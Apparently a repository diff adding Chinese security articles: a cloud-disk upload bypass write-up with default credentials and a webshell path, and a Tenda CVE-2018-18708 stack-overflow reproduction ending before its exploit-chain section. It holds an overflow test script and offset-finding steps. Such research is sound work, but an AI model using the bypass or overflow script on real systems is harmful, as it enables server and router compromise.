目前尚无临时解决方案但可通过禁用带外AP镜像下载功能缓解风险。思科建议用户在评估业务影响后采取该措施直至完成补丁升级。思科产品安全事件响应团队(PSIRT)确认尚未发现该漏洞的野外利用案例。

View File

@ -0,0 +1,144 @@
# 某云盘系统 API 端点无限制上传漏洞解析
Massa 菜鸟学信安 2025-05-09 00:30
### background
在某次赚钱的时候,发现出现了这个系统的低版本 搜索了很久相关只找到了一个
![image.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ib4IoiczUiaq8IF5qtX7EjV1Kkca1RqoChkIrafJZry2ZS7SJYF06CJgFw/640?wx_fmt=png&from=appmsg "")
简短的一句话 但没有其他漏洞细节 于是本地搭建挖一下
### 0x01 漏洞限制条件
![image-20250306174220208.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibhhW95UROE0bIDetUIEz1kjebTt1k9A4WOUIBIVedEThjYbKdxmbsjQ/640?wx_fmt=png&from=appmsg "")
首先是需要一个账号来调用后台的插件
但是本套系统默认两个账号
guest:guest demo:demo
还有一个就是要知道web的路径 当然这个后面说
### 0x02 漏洞分析
定位到函数 发现有一个in['file']的参数
![image-20250306174557708.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibNeicIlyRl9NwltlsCCIje1LvvUI0IkFuxmRAgwMbGa98GRkAiacXibU4A/640?wx_fmt=png&from=appmsg "")
跟进in 在controller里面可以看到这个参数
![image-20250306175026755.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibgwCOlBzBQh6C5xjfib4PUPEibOSdGAQJYNomaia8TWWFclG1acblYoO5w/640?wx_fmt=png&from=appmsg "")
![image-20250306182032074.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibiaPGkjISk7c4iaxdedkw9cDmrGXIIiaFD61fmd8OsvYyxfjKVCTRCsOgA/640?wx_fmt=png&from=appmsg "")
还是全局变量 很容易判断他可以直接传参数
跟进这个可以发现有一个get_path_ext
后缀
![image-20250306182255890.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibHsc7F4H4AR0bnBHBfqAhlm2LVJXVUJf86dlAk5JSVrWSjiaOEUjQMyg/640?wx_fmt=png&from=appmsg "")
可以发现只限制了数量和一些不可见字符 并没过滤php
继续跟进unzip_filter_ext 可以发现他过滤了 .user.ini .htaccess
![image-20250306182624887.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibAhyTsHlLYJRwY1Jwpe4R9GZeXiaZEHsTNseHM8pflOFzPSEq5WqfxPQ/640?wx_fmt=png&from=appmsg "")
但是有一个checkExt检查后缀 但是逻辑有点问题
在这里有一个不允许的名单
还会不断的merge
![image-20250306185117546.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ib5rK5pY05UlNKQla5YgsP1DofEEg3T4dP72gqZ4IibeJch726uabKn2g/640?wx_fmt=png&from=appmsg "")
在这里进行判断
![image-20250306185314860.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibg6HSlTKZWAaOL8rKzibRjxpSoQdOZR6yAt5RhlQbOkAnPfPGwCSscmg/640?wx_fmt=png&from=appmsg "")
逻辑错误点在这里 我们这里的$file是php 而后面的则是.php
因为stristr的意思是在前面的字符串查找后面的 而在php字符串里并不包含.php
所以在这里我们可直接传入php
![image-20250306190635350.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibFvKuwRCxLibtSCkzs2sZp9d53Px5mlQ8iacgibyN1SFa21v3DxjbgwqWQ/640?wx_fmt=png&from=appmsg "")
打印了下 $infoData发现为NULL 那后面$linkfile就是单纯的网页地址
而且他会对一个url发起请求并保存文件
我们可知$cachefile 的后缀是php 其实就可以直接写文件了
在目录下放一个/1.php的马
![image-20250306194818702.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibclNZxRlPN4hEv4wtLjPaN67Af7pRYkMHQFjp3L2LhJY90RLzE1zdYA/640?wx_fmt=png&from=appmsg "")
直接进行访问
![image-20250306191647101.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibaO7Uq2jflshLLcIM0Z1N52NwQLVkibnCynjSwzKseoR3tFialt1xfSrA/640?wx_fmt=png&from=appmsg "")
发现在响应头里会有php文件名 但实际上
![image-20250306191716494.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibznuztpuCdG5lWDAyJCoDNW0MtNnhA2ia8CWibDe3iaicicG7G46MXa6uP8g/640?wx_fmt=png&from=appmsg "")
在这里也写了完整的生成语句
![image-20250306191943227.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibAouWziaywEpbicqQNRPcqVAoGPVtluTOAhQyswYhuMs2vruzBYrKA9jQ/640?wx_fmt=png&from=appmsg "")
但是我们发现在生成文件的时候还是有一个目录的
![image-20250306192008663.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibvVXLbhMlR5ngOTEKmYsZe5VdFIibLQ9KQicbU4eHJ7icibTGuwvxBldgDA/640?wx_fmt=png&from=appmsg "")
回到刚才代码
我们查看cacheFile类
![image-20250306192121007.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibqyeK3XrO9ndkEUsQoZUZU2JKztDwjPgoHFVnCSj4MtyNSWWCYbjPzg/640?wx_fmt=png&from=appmsg "")
在这里有一个hash_path
的生成
可以选择下断点 或者直接var_dump
下变量
发现大致目录如下
![image-20250306192340806.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibooPGxiasZbgBSKVuibEX80lsPIP23BUVYjvBuQPiaNq6xHCgZL7GYtrtQ/640?wx_fmt=png&from=appmsg "")
其实可以推断出来 /var/www/html/data/User/guest/home/ 为一般漏洞利用的hash_path
而且你会发现虽然说他在前面设置了一个随机生成的系统密码
但实在底下只是进行了md5的编码就把$path写进来了 所以
![image-20250306194548339.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibibCiaibEfBcCamoqznQJV2Llbrmq2q9yiaia4Ape90xlCVQTAOcCjicH7SvQ/640?wx_fmt=png&from=appmsg "")
![image-20250306194412913.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ib2NPcic9bMpTYWlia7ibHibY9TYY5Xh0w95QKtupp1Vc6Rr5kT8ibPV001kQ/640?wx_fmt=png&from=appmsg "")
只要文件不变 md5值是不变的
![image-20250306194654634.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibCd1oQlz5zicUNuODP29ehrjhYf6S6d5yMn61rFDAWAPdibCPcjIILicGA/640?wx_fmt=png&from=appmsg "")
构造poc即可写木马
### 0x03修复方案
官方的修复中
![image-20250306194957952.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ibDzPbVXeJK02FJuicFG0OVQicZyoOkMlib0usrZE2tLS3rRIQxQcIqtB9g/640?wx_fmt=png&from=appmsg "")
在这里把文件返回头给注释掉了 但是我们上文提了自己生成也可以
可以看到在path生成上完善了 拼接了$pre 没办法再进行路径的查找
![image-20250306195030619.png](https://mmbiz.qpic.cn/sz_mmbiz_png/9JPpNb7icHgF6wQwLQssSvFeznUQ7cE0ib1aYTRrvRZDia8MqeaJmlfFOjmreXcJqw80HMelcNHnHWLeKce6XAia2Q/640?wx_fmt=png&from=appmsg "")
**文章来源:奇安信攻防社区**
**链接https://forum.butian.net/article/673**

View File

@ -0,0 +1,637 @@
# 栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解
轩公子谈技术 2025-05-09 00:52
文章首发先知社区
栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解
作者vlan911
https://xz.aliyun.com/news/17913
固件和poc可在github下载
https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333
首先查看程序开启的保护机制可以发现没有开启PIE和canary保护 
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgdw8Qu80hJQ3ccr9ZWEz7T6lID7e2CQYAHCic7LX1I7gqXSyAicOUDJ2g/640?wx_fmt=png&from=appmsg "")
本文介绍如何启动quem用户级调试以及qemu系统级调试
## qemu用户级调试
使用binwalk解压固件
```
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
```
后续所有指令均是进入到/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root文件夹去执行的该文件夹为固件核心文件夹
查看文件架构发现是arm小端架构的
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgA3eAJZ9q2zMWibnZW8JKMicbkoGGFtIWkm7RZDia3NxKt3Pt1SkULj05w/640?wx_fmt=png&from=appmsg "")
需要手动复制一下web目录否则运行程序会出现访问404的情况
```
cp -rf ./webroot_ro/* ./webroot/
```
修改网卡,主要是增加网卡,需要先安装网卡管理工具,然后直接运行./net.sh即可
apt-get install bridge-utils
apt-get install uml-utilities
```
#!/bin/bash#我的宿主机的上网的网卡为ens33并且存在多个虚拟网卡sudo ifconfig ens33 down    # 首先关闭宿主机网卡接口sudo brctl addbr br0                     # 添加一座名为 br0 的网桥sudo brctl addif br0 ens33        # 在 br0 中添加一个接口sudo brctl stp br0 on            #打开生成树协议sudo brctl setfd br0 2                  # 设置 br0 的转发延迟sudo brctl sethello br0 1                # 设置 br0 的 hello 时间sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口sudo ifconfig ens33 0.0.0.0 promisc up    # 启用网卡接口sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址sudo tunctl -t tap0             # 创建一个 tap0 接口sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口sudo ifconfig tap0 192.168.50.12/24 up        #为tap0分配ip地址sudo ifconfig ens33 192.168.50.10/24 up        #为ens33分配ip地址
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgtltU0mRlAibfdpXX3TVcMrdX5kQSMdtKeQS0dRbULjcXag89AHdIewg/640?wx_fmt=png&from=appmsg "")
直接qemu启动的话会报错提示缺少文件夹同时进程中断或一直等待忘记保存图片了大家可以自己试一下看看报错信息是什么样子的
首先手动创建文件夹
```
mkdir -p ./proc/sys/kernel
```
然后使用ida打开存放在/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root/bin/httpd文件搜索字符串 Welcome 这一步是为了patch
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKg9aw3yrzvdnf4QibyjYyI2wMxcVvMb6Nt0srgIlt1cHrWPicCaziclpgCQ/640?wx_fmt=png&from=appmsg "")
双击进入到在aYesWelovelinux函数这里按键盘 x 查看交叉引用
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgU33DRRWoEcicm4AP8pbxKCdq8XP5fz9gTYupl37fFCIMyKib0DVEANmQ/640?wx_fmt=png&from=appmsg "")
进入后,发现 里面是个条件判断语句
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgDhCXZsjJKYSk41KEuv9Z5ks2icegQicEdV1A2ibHVCjuaOJGt8EpUDR7w/640?wx_fmt=png&from=appmsg "")
程序运行到第33行时因为check_network返回的值程序进入了死循环(这里很奇怪按理说我已经创建了br0的网卡不应该死循环才对)。
在图视图中看一下这里是一条BL指令然后将函数的返回值从r0中转移到r3中为了使我们的程序能绕过此处的死循环我们可以使用IDA提供的patch bytes功能将MOV R3, R0替换成MOV R3, #1,这样我们的程序就可以按照我们设想的流程进行下去,两处的逻辑相同,可使用同一种方法进行绕过
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgNgIssl4CFZaRbibRWXWict2YtaHsdple4V5xBbl35qPNK6RJtHZvljhw/640?wx_fmt=png&from=appmsg "")
我们借助rasm2工具翻译汇编指令到机器指令使用的指令如下。
```
sudo apt install radare2rasm2 -a arm "mov r3,1"    #这个是我们需要替换的进制数rasm2 -a arm "mov r3,r0"   #为了验证原来未改动的进制数是什么
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgCGwDYKKWR1zUhGICEYDibnEazbAYJtmGIf7sWzchnhBDiaPf3CH13Ntg/640?wx_fmt=png&from=appmsg "")
IDA中
Edit->Patch program->change byte
更改鼠标指针处的字节。 
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgFT1p12b73lLcnnfjicj3Sw8Wd7wQppwAibXPKpicYWTia2Rn9SnNwzv5Ag/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgfUOzDUnbCVXqozjEOeHDSDQLDiaoutXlnUjcM1p0NU61NmE4w1ibYQCA/640?wx_fmt=png&from=appmsg "")
然后,
Edit->Patch program->Apply patches to input file
将我们的更改保存进二进制文件 
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgnK3OzZNZlIeEHqT4pUs9mticia3HGVLqm3ElqKfzawrmFw8Ld1jM7UIg/640?wx_fmt=png&from=appmsg "")
安装qemu-user-static
```
sudo apt install qemu-user-static
```
安装完成后将qemu-arm-static赋值到文件系统目录squashfs-root下启动httpd服务
```
cp $(which qemu-arm-static) ./qemumkdir -p ./proc/sys/kernelcp -rf ./webroot_ro/* ./webroot/sudo chroot ./ ./qemu ./bin/httpd
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgp8jRv8ujbEDdmDl0MKPp1DOzibnf8w8XibE6q8h0wZgC1TOZKxWXRicTQ/640?wx_fmt=png&from=appmsg "")
此处使用的是patch后的httpd文件
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgCYzMEqY9nniau2T1vSBC0TuV2micNqLwfibVlJA38zvjknaMY0qx6tEyg/640?wx_fmt=png&from=appmsg "")
## qemu系统级调试
打包解包后的文件
![](https://mmbiz.qpic.cn/mmbiz_jpg/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgsXSQbcbNKBtDxiciaJXpl1dCwKib8fNb5ficzMIAP3iaspTSwaRy6q5gdZQ/640?wx_fmt=other&from=appmsg "")
首先宿主机开启网卡,直接执行./net.sh即可
```
sudo tunctl -t tap1sudo ifconfig tap0 192.168.50.11/24 up   #请根据实际情况修改
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgOK6BuGegOmCG8WaF3mVNCBviaTNiaMjTXLOMicAz7mKOEgOicP2nDiaIuDw/640?wx_fmt=png&from=appmsg "")
而后需要下载三个文件
```
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpresswget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
```
执行下述文件  ./boot.sh
```
#!/bin/shsudo qemu-system-arm \-M vexpress-a9 \-kernel vmlinuz-3.2.0-4-vexpress \-initrd initrd.img-3.2.0-4-vexpress \-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \-append "root=/dev/mmcblk0p2 console=ttyAMA0" \-net nic -net tap,ifname=tap0,script=no,downscript=no \-nographic
```
运行后,即可进入到模拟环境
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgDJicCbeBnc3hTsjcvwzzVo8JaUZKygeUTkkr9EwqUrWKtsJPZJBAbsw/640?wx_fmt=png&from=appmsg "")
在宿主机打包解包后的squashfs-root文件夹
```
sudo tar -zcvf  a15_0.tar.gz squashfs-root
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKglV6iaW6F9DwVRHaprUq33cD3VnyhO7LMUialiab97mjRibTW4iaX3bOCnOw/640?wx_fmt=png&from=appmsg "")
qemu模拟器开启网卡(默认连接后的qemu里面的网卡是没有网络配置的需要重新配置一下)
```
ifconfig eth0 192.168.50.12/24 up
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgPPXEOURkyyS2zvGSLzW8yaEHv1PzIXUpLjSLicKrVeHcCkTlKCFCdVw/640?wx_fmt=png&from=appmsg "")
上传压缩包到qemu模拟器
```
scp -r a15_0.tar.gz  root@192.168.50.12:/root/
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgJomAQJ9HBbJhM0zavjTiaEvmxp58u5TlyIfRibaBNYQibNXL5erU6ZM1A/640?wx_fmt=png&from=appmsg "")
进入到qemu模拟器解压缩
```
tar xzf a15_0.tar.gz cd squashfs-root/chroot . sh
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKg7B1hviaIicTYIA3Ur0xrJSOJzQek2o74OmTaUHyMxpasCoLruxEGE8Qw/640?wx_fmt=png&from=appmsg "")
为qemu模拟器添加br0网卡
```
brctl addbr br0    #添加br0虚拟网卡ifconfig br0 192.168.50.14/24 up./bin/httpd
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgWJV04WV5jlsdspFq9wQssfBnylIQUX3DFNsxLpZFh0CZaoUSfQYNiaQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgiaxyibqdTkT8ptGIoic9UNRfYVZTbk2uSwTInelf0ykpfFIKulKTU6vGw/640?wx_fmt=png&from=appmsg "")
报错了提示不能创建core_pattern文件是因为目录不存在并且进程断开了
首先手动创建目录
```
mkdir -p ./proc/sys/kernel
```
httpd patch过程与上述一致此处不进行赘述
将patch后的httpd文件上传到qemu模拟器替换
```
scp -r httpd  root@192.168.50.12:/root/
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgP4tXx5Y9ZsjNLAX2IrbbhRQmBFyPUB8cqQjCcSTQapDJLWko5ZXGxw/640?wx_fmt=png&from=appmsg "")
```
cp httpd squashfs-root/bin/httpd
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgbVnoyNaFLnhic92zObwjic6AqAAmfBiavGuLiaebbKOU6SgCG7Hzl6Vqlw/640?wx_fmt=png&from=appmsg "")
重新运行后,运行成功
但是此时访问是访问不到的东西的,需要结束进程,然后重新执行
```
cp -rf ./webroot_ro/* ./webroot/
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgpSeXicpDlpVUv4xlR0klMIpHjicXldzPOiarpBIuWEtclGibjsA2yVk7rw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKg9pibUYGO5sLJfuhDxyr6fmtmuTjKtpTMiab9JOJLwoNDrmhNl7YCAI4A/640?wx_fmt=png&from=appmsg "")
如果想通过qemu系统模式进行调试请看以下内容
首先将gdbserver上传到qemu模拟器上而后按照如下运行
https://github.com/hugsy/gdb-static
```
scp -r gdbserver-7.10.1-arm6v   root@192.168.50.12:/root/
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgOl8TQO71YdibhgOIK5x3P9xlMO6QVEDhrshTjXogJeLmj07k34EKS0g/640?wx_fmt=png&from=appmsg "")
```
cp gdbserver-7.10.1-arm6v squashfs-root/chroot . sh./gdbserver-7.10.1-arm6v 0.0.0.0:9999 ./bin/httpd
```
宿主机执行
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgBxbGHscibRRVJdC8L2DAVr4hUqWESrdskkCapiavy3fXl7nvWKhl8Lmw/640?wx_fmt=png&from=appmsg "")
返回宿主机,执行如下指令,即可远程连接
```
sudo apt install gdb-multiarchgdb-multiarch -q ./bin/httpdset arch arm tar rem 192.168.50.14:9999
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgqDePiaENoD5GkwR3Xa8MV9Wbr6tuM0WbO7DicGoYoEgWV6cp0iaWdYrLQ/640?wx_fmt=png&from=appmsg "")
笔者演示的时候因为还没有安装pwndbg所以看上去很奇怪建议搭建先安装pwndbg再去运行
```
b *0x6775cc
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgwuB3NaWawUyc6Z2VpiaJkrlLL1WhVTAUQCthibxeq1JIsO20PsxOJ9rQ/640?wx_fmt=png&from=appmsg "")
## CVE-2018-18708
参考:
https://blog.xmcve.com/2022/10/08/CVE-2018-18708-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
https://blog.csdn.net/m0_55368674/article/details/128939608
### 漏洞点位分析
首先看漏洞点位漏洞接口为setMacFilterCfg参数为deviceList
打开ida使用ida打开httpd搜索strings字符串setMacFilterCfg
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgU3WiaymtDwfDfYGPiaAjoia0k0iaYb0AVBklaicmxWQOYsnNrdcxlYic4mrA/640?wx_fmt=png&from=appmsg "")
在函数aSetmacfiltercf上面点击x查找交叉引用
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgzJXdkibhrkMGq1HLAZv00KeicdcOdV1LjoibDUGxlkgZV48Qa7fzI0dfg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKg0dFrtvl0MUAbaPc7NB1PTtu8Yojydf5QhkH7y6OBTmJpzTWyAicoKxw/640?wx_fmt=png&from=appmsg "")
此时进入到函数体内按一下tab查看伪代码此函数实际为tenda接口函数sub_42378()【formDefineTendDa()】
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgcFibDss4bp1OppXNTLc737ya21SQmIImE2hpVMtuanF6JuJ2TXVfGkQ/640?wx_fmt=png&from=appmsg "")
双击formSetMacFilterCfg进入到函数里面此时可以看到v18和v17通过sub_2BA8C函数进行传参该函数实际为websGetVar()函数该函数通过web进行传参传入的参数为macFilterType和deviceList
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgjW60zPlHzbk24x7cDAhsDqaJsibMpibcSnibW9319NUaicn5lfooxF2A3A/640?wx_fmt=png&from=appmsg "")
v19 = sub_C10D0(v18); 查看此函数,此函数有数个条件分支
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgNj4cYOiaTtbBDaTWfr5ibrllhx7CqaSkrea9icicibXibO80uJwgtBG7C5XQ/640?wx_fmt=png&from=appmsg "")
该函数是用来判断传入的macFilterType参数是否符合要求(macFilterType=black或者macFilterType=white返回0则代表正确会进入到下述代码的else判断从而才能进入到v19 = sub_C14DC(v18, v17);
```
if ( v19 )  {    memset(s2, 0, sizeof(s2));    if ( GetValue("cgi_debug", s2) && !strcmp("on", (const char *)s2) )    {      n2 = 2;      printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "formSetMacFilterCfg", 500, off_1018C4[0]);// "\x1B[0;31m"      printf("set mac filter mode error!\n\x1B[0m");    }  }  else  {    v17 = sub_2BA8C(a1, "deviceList", &unk_F5124);    v19 = sub_C14DC(v18, v17);
```
接下来进入到v19 = sub_C14DC(v18, v17); v17是我们主要关注对象(v18实际上是macFilterType因为上面我们分析过该参数必须是white和black写死了并不能作为溢出点)该参数为deviceList
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgWItic4p6J2lS4OYrEKUBtvSYGgdadUPOC4xVA9cibh2etJ3INZTKFoYg/640?wx_fmt=png&from=appmsg "")
这一大堆其实我们只需要关注s参数这个参数对应的传入的deviceList参数
可以看到主要用到这个参数的函数为sub_C17A0(a1, s, v10); 
进入到sub_C17A0(a1, s, v10);函数体
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgf2kewuBIyNtXggkc76ayC6H3uNfBSPLVnE2PnMU44RgI9Kbia8ju13w/640?wx_fmt=png&from=appmsg "")
该函数体调用的参数对应的是a2参数我们发现对应调用此参数的函数为sub_C24C0(a2, s_2); 
首先我们可以看到这个函数传入两个参数第一个参数a2就是对应的deviceList第二个s_2是一个固定的缓冲区且长度为176(0XB0),这个就是我们后续用到的偏移量,后续会对这个偏移量进行验证
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKguSkibPUrMmX5AsgKkteoicFfhlL9S0tm4BVrDIrEyGU0dzRVwHBPJvLg/640?wx_fmt=png&from=appmsg "")
最后进入到sub_C24C0(a2, s_2);函数体
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgU4nJc4rxiauuQibpPMfTTibcGxGRfgwjpibXzibiaMM8yfAhoL7DQ7JPPw6g/640?wx_fmt=png&from=appmsg "")
最后的函数体传入的deviceList对应参数为s参数;
src = strchr(s, 13);  首先src代表的是在字符串s中寻找ascii码值为13也就是“\r”的指针然后赋值给src也就是src是写死的
所以真正的溢出点为strcpy(src_1 + 32, s); 该函数为字符串复制函数;
但是前面有一个判断语句if ( src ),所以在参数里也需要加上"\r";由此分析结束
由此得出结论:
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgLXzITjvCgOKrQCgFEw4qCd93VCffNMFa5I4neBbm8QYicSywYztsayg/640?wx_fmt=png&from=appmsg "")
### 偏移量分析
启动调试这里需要换成pwndbg因为pwndbg可以支持更多的指令特别是计算偏移量。下述指令是在宿主机执行的测试环境为qemu用户级别启动
```
# 第一个终端sudo chroot ./ ./qemu -g 1234 ./bin/httpd# 第二个终端gdb-multiarchtarget remote :1234c#第三个终端python3 1.py #漏洞溢出测试脚本
```
```
import requestsfrom pwn import * url = "http://192.168.50.18/goform/setMacFilterCfg"cookie = {"Cookie":"password=1234111115"}data = {"macFilterType": "white", "deviceList": b"\r"+ cyclic(500)}response = requests.post(url, cookies=cookie, data=data)print(response.text)
```
此时运行python测试脚本即可看到pc寄存器的值为taab(因为没有任何断点所以程序直接停在strcpy函数执行后溢出的位置)
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKg7iavPFrUOfGm5F9hn0NOZcgJkXVlLpLEFOzmStJBtQTRWfbTMEo4NTw/640?wx_fmt=png&from=appmsg "")
执行即可查看PC寄存器的偏移量为176pc寄存器的作用是程序计数器指向下一条要执行的指令地址。通过控制 
pc
,可以劫持程序流 这里主要是通过控制pc寄存器实现执行system函数
```
cyclic -l taab
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgCibPpPT98Ll6BkXHicY3fY0e1JBSaQfQ7udoxia2iccxZqnbbaCRWDTVSQ/640?wx_fmt=png&from=appmsg "")
### 这里插入一个全网也没有讲到的如何在pwndbg里计算偏移量的方法那就是断点需要打在000C1900  BL  sub_C24C0也就是sub_C24C0函数起始的位置因为char src[176]; // [sp+14Ch] [bp-B0h] BYREF是在这个函数开始的
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB51cW9zVqGf7Ad22x6s0uwDStByCp1S2c9oI4qLqyr4mZ8FDgOq1mpCRB8ziayu8MSBJKCkpIJcLJHw/640?wx_fmt=png&from=appmsg "")
在pwndbg断点 b *0xC1900   然后运行程序并执行完整poc
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB51cW9zVqGf7Ad22x6s0uwDSRq4D2fqdibFiczqcA4RZ4PZyw1dRdCYSc3YX2Wqkx8CKEfvJC9UEvUPw/640?wx_fmt=png&from=appmsg "")
可以看见R11寄存器-R1寄存器的值=0x407fffe4-0x407fff34=0xB0=176
### 利用链分析
